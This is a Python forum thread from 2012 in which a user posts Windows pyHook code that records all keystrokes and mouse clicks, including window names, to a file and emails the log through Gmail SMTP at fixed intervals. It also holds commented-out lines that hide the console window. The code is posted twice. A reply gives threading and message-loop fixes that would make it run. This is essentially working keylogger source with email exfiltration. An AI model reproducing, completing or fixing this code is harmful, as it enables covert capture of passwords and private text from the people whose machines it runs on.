pyHook and time libraries

Discussion in 'Python' started by Doron, Nov 30, 2012.

  1. Doron

    Doron Guest

    Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

    I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

    Can someone help me with this please?
    I thought about threading but again... It just sends blank mails without the logs.

    Thanks alot ahead!
     
    Doron, Nov 30, 2012
    #1
    1. Advertising

  2. Doron wrote:

    >
    > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
    > predetermined period.
    >
    > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
    > simultaneously.
    >
    > Can someone help me with this please?
    > I thought about threading but again... It just sends blank mails without the logs.
    >
    > Thanks alot ahead!


    I am not sure how to even begin helping you. I do not even know
    what is wrong other than "can't make both of them work simultaneously".
    What version of Python andOS? Are you using any 3rd party modules?
    What is the code you use? What happens and what do you expect? How
    are you getting the logs for email? Are they being passed in or are
    you using a log file?


    ~Ramit



    This email is confidential and subject to important disclaimers and
    conditions including on offers for the purchase or sale of
    securities, accuracy and completeness of information, viruses,
    confidentiality, legal privilege, and legal entity disclaimers,
    available at http://www.jpmorgan.com/pages/disclosures/email.
     
    Prasad, Ramit, Nov 30, 2012
    #2
    1. Advertising

  3. Doron

    Guest

    בת×ריך ×™×•× ×©×™×©×™, 30 בנובמבר 2012 21:47:57 UTC+2, מ×ת Prasad, Ramit:
    > Doron wrote:
    >
    > >

    >
    > > Hey, I'm tring to create a software that records the keyboard/mouse andsends email of the log every

    >
    > > predetermined period.

    >
    > >

    >
    > > I've manage to make the recorder and the auto-email sender, but I stillcan't make both of them work

    >
    > > simultaneously.

    >
    > >

    >
    > > Can someone help me with this please?

    >
    > > I thought about threading but again... It just sends blank mails without the logs.

    >
    > >

    >
    > > Thanks alot ahead!

    >
    >
    >
    > I am not sure how to even begin helping you. I do not even know
    >
    > what is wrong other than "can't make both of them work simultaneously".
    >
    > What version of Python and OS? Are you using any 3rd party modules?
    >
    > What is the code you use? What happens and what do you expect? How
    >
    > are you getting the logs for email? Are they being passed in or are
    >
    > you using a log file?
    >
    >
    >
    >
    >
    > ~Ramit
    >
    >
    >
    >
    >
    >
    >
    > This email is confidential and subject to important disclaimers and
    >
    > conditions including on offers for the purchase or sale of
    >
    > securities, accuracy and completeness of information, viruses,
    >
    > confidentiality, legal privilege, and legal entity disclaimers,
    >
    > available at http://www.jpmorgan.com/pages/disclosures/email.



    This is the code:

    =======================
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook
    import smtplib
    import time
    import thread, threading

    #win = win32console.GetConsoleWindow()
    #win32gui.ShowWindow(win,0)

    log = ""
    logpath = "log.txt"

    openfile = open(logpath,"w")
    openfile.write("")

    #openfile = open(logpath,"r+")

    l = threading.Lock()


    def sendEmail():
    print("ready to send email")
    fromaddr = ''
    toaddrs = ''
    msg = open('log.txt',"r").read()

    username = 'something'
    password = 'something'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

    def sendEmailAuto(dt,openfile):
    tt = time.time()
    nn = tt+dt

    while tt<nn:
    print(tt,nn)
    if tt>=nn-0.5:
    #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
    msg = open('log.txt',"r").read()
    print(msg)
    sendEmail()
    tt = time.time()
    nn = tt+dt
    log = ""
    #l.release()
    else:
    tt = time.time()

    def OnKeyboardEvent(event):
    try:
    global log
    if event.Alt == 32 and event.KeyID == 160:
    log = "[LangCh]"
    elif event.KeyID>=37 and event.KeyID<=40:
    log = "["+event.Key+"]"
    elif event.Ascii == 8:
    log = "[BS]"
    elif event.Ascii == 9:
    log = "[TAB]"
    elif event.Ascii == 13:
    log = "[NL]"
    elif event.Ascii == 27:
    log = "[ESC]"
    elif event.Alt == 32 and event.KeyID == 75:
    openfile.close()
    sendEmail()
    exit()
    else:
    log = chr(event.Ascii)
    openfile.write(log)
    except:
    pass
    return True


    def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
    log = "<"+event.WindowName +">\n"
    openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName ==None :
    log = "-\n"
    openfile.write(log)
    return True

    thread.start_new_thread(sendEmailAuto, (10,openfile))

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm2 = pyHook.HookManager()
    hm2.MouseAll = OnMouseEvent

    hm.HookKeyboard()
    hm2.HookMouse()

    pythoncom.PumpMessages()

    ========================================

    i want that an email will be sent to the address every 5 minutes for example.
    i'm working on Windows7 and the latest python version.
     
    , Dec 1, 2012
    #3
  4. Doron

    Guest

    בת×ריך ×™×•× ×©×™×©×™, 30 בנובמבר 2012 21:47:57 UTC+2, מ×ת Prasad, Ramit:
    > Doron wrote:
    >
    > >

    >
    > > Hey, I'm tring to create a software that records the keyboard/mouse andsends email of the log every

    >
    > > predetermined period.

    >
    > >

    >
    > > I've manage to make the recorder and the auto-email sender, but I stillcan't make both of them work

    >
    > > simultaneously.

    >
    > >

    >
    > > Can someone help me with this please?

    >
    > > I thought about threading but again... It just sends blank mails without the logs.

    >
    > >

    >
    > > Thanks alot ahead!

    >
    >
    >
    > I am not sure how to even begin helping you. I do not even know
    >
    > what is wrong other than "can't make both of them work simultaneously".
    >
    > What version of Python and OS? Are you using any 3rd party modules?
    >
    > What is the code you use? What happens and what do you expect? How
    >
    > are you getting the logs for email? Are they being passed in or are
    >
    > you using a log file?
    >
    >
    >
    >
    >
    > ~Ramit
    >
    >
    >
    >
    >
    >
    >
    > This email is confidential and subject to important disclaimers and
    >
    > conditions including on offers for the purchase or sale of
    >
    > securities, accuracy and completeness of information, viruses,
    >
    > confidentiality, legal privilege, and legal entity disclaimers,
    >
    > available at http://www.jpmorgan.com/pages/disclosures/email.



    This is the code:

    =======================
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook
    import smtplib
    import time
    import thread, threading

    #win = win32console.GetConsoleWindow()
    #win32gui.ShowWindow(win,0)

    log = ""
    logpath = "log.txt"

    openfile = open(logpath,"w")
    openfile.write("")

    #openfile = open(logpath,"r+")

    l = threading.Lock()


    def sendEmail():
    print("ready to send email")
    fromaddr = ''
    toaddrs = ''
    msg = open('log.txt',"r").read()

    username = 'something'
    password = 'something'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

    def sendEmailAuto(dt,openfile):
    tt = time.time()
    nn = tt+dt

    while tt<nn:
    print(tt,nn)
    if tt>=nn-0.5:
    #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
    msg = open('log.txt',"r").read()
    print(msg)
    sendEmail()
    tt = time.time()
    nn = tt+dt
    log = ""
    #l.release()
    else:
    tt = time.time()

    def OnKeyboardEvent(event):
    try:
    global log
    if event.Alt == 32 and event.KeyID == 160:
    log = "[LangCh]"
    elif event.KeyID>=37 and event.KeyID<=40:
    log = "["+event.Key+"]"
    elif event.Ascii == 8:
    log = "[BS]"
    elif event.Ascii == 9:
    log = "[TAB]"
    elif event.Ascii == 13:
    log = "[NL]"
    elif event.Ascii == 27:
    log = "[ESC]"
    elif event.Alt == 32 and event.KeyID == 75:
    openfile.close()
    sendEmail()
    exit()
    else:
    log = chr(event.Ascii)
    openfile.write(log)
    except:
    pass
    return True


    def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
    log = "<"+event.WindowName +">\n"
    openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName ==None :
    log = "-\n"
    openfile.write(log)
    return True

    thread.start_new_thread(sendEmailAuto, (10,openfile))

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm2 = pyHook.HookManager()
    hm2.MouseAll = OnMouseEvent

    hm.HookKeyboard()
    hm2.HookMouse()

    pythoncom.PumpMessages()

    ========================================

    i want that an email will be sent to the address every 5 minutes for example.
    i'm working on Windows7 and the latest python version.
     
    , Dec 1, 2012
    #4
  5. On Sat, 1 Dec 2012 05:38:39 -0800 (PST), declaimed
    the following in gmane.comp.python.general:

    <stripping practically everything>
    > def sendEmailAuto(dt,openfile):
    > tt = time.time()
    > nn = tt+dt
    >
    > while tt<nn:


    Ugh... A CPU intensive polling loop!

    The simplest way to delay is to use time.sleep()

    while True:
    time.sleep(300.0) #5min * 60sec

    There is no guarantee that this will fire exactly 5min later -- but
    should fire as soon after 5min as it gets control...

    > def OnMouseEvent(event):
    > global log


    Why bother defining "log" as global, when the only contents used are
    local messages being written to a file?

    >
    > thread.start_new_thread(sendEmailAuto, (10,openfile))
    >
    > hm = pyHook.HookManager()
    > hm.KeyDown = OnKeyboardEvent
    > hm2 = pyHook.HookManager()
    > hm2.MouseAll = OnMouseEvent
    >
    > hm.HookKeyboard()
    > hm2.HookMouse()
    >
    > pythoncom.PumpMessages()
    >


    Uhm... I don't know if pythoncom (or the PumpMessages() ) method is
    Python friendly -- that is, if it DOESN'T release the GIL at some point,
    your email thread will never get control. Compare the difference between
    ..PumpMessages() and .PumpWaitingMessages(). The latter only runs the
    currently pending batch and returns (which will definitely allow your
    thread to run) -- the implication is the .PumpMessages() won't return
    until the (implied) window is closed. Using .PumpWaitingMessages() will
    require making a loop in the main thread...

    while True:
    if pythoncom.PumpWaitingMessages(): break #window closed
    time.sleep(0.0) #ensure threading task swapping can happen



    --
    Wulfraed Dennis Lee Bieber AF6VN
    HTTP://wlfraed.home.netcom.com/
     
    Dennis Lee Bieber, Dec 1, 2012
    #5
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Martin P. Hellwig
    Replies:
    0
    Views:
    725
    Martin P. Hellwig
    Oct 22, 2005
  2. RayS

    pyHook and Win98 key events

    RayS, Feb 15, 2006, in forum: Python
    Replies:
    0
    Views:
    371
  3. Replies:
    0
    Views:
    1,460
  4. Replies:
    0
    Views:
    268
  5. Gandalf

    pyHook and py2exe

    Gandalf, Jun 22, 2008, in forum: Python
    Replies:
    1
    Views:
    477
    jim-on-linux
    Jun 22, 2008
Loading...

Share This Page